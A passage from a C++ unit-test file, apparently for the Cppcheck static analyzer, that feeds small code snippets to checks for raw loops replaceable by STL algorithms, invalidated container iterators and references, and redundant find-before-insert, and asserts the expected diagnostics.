x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n 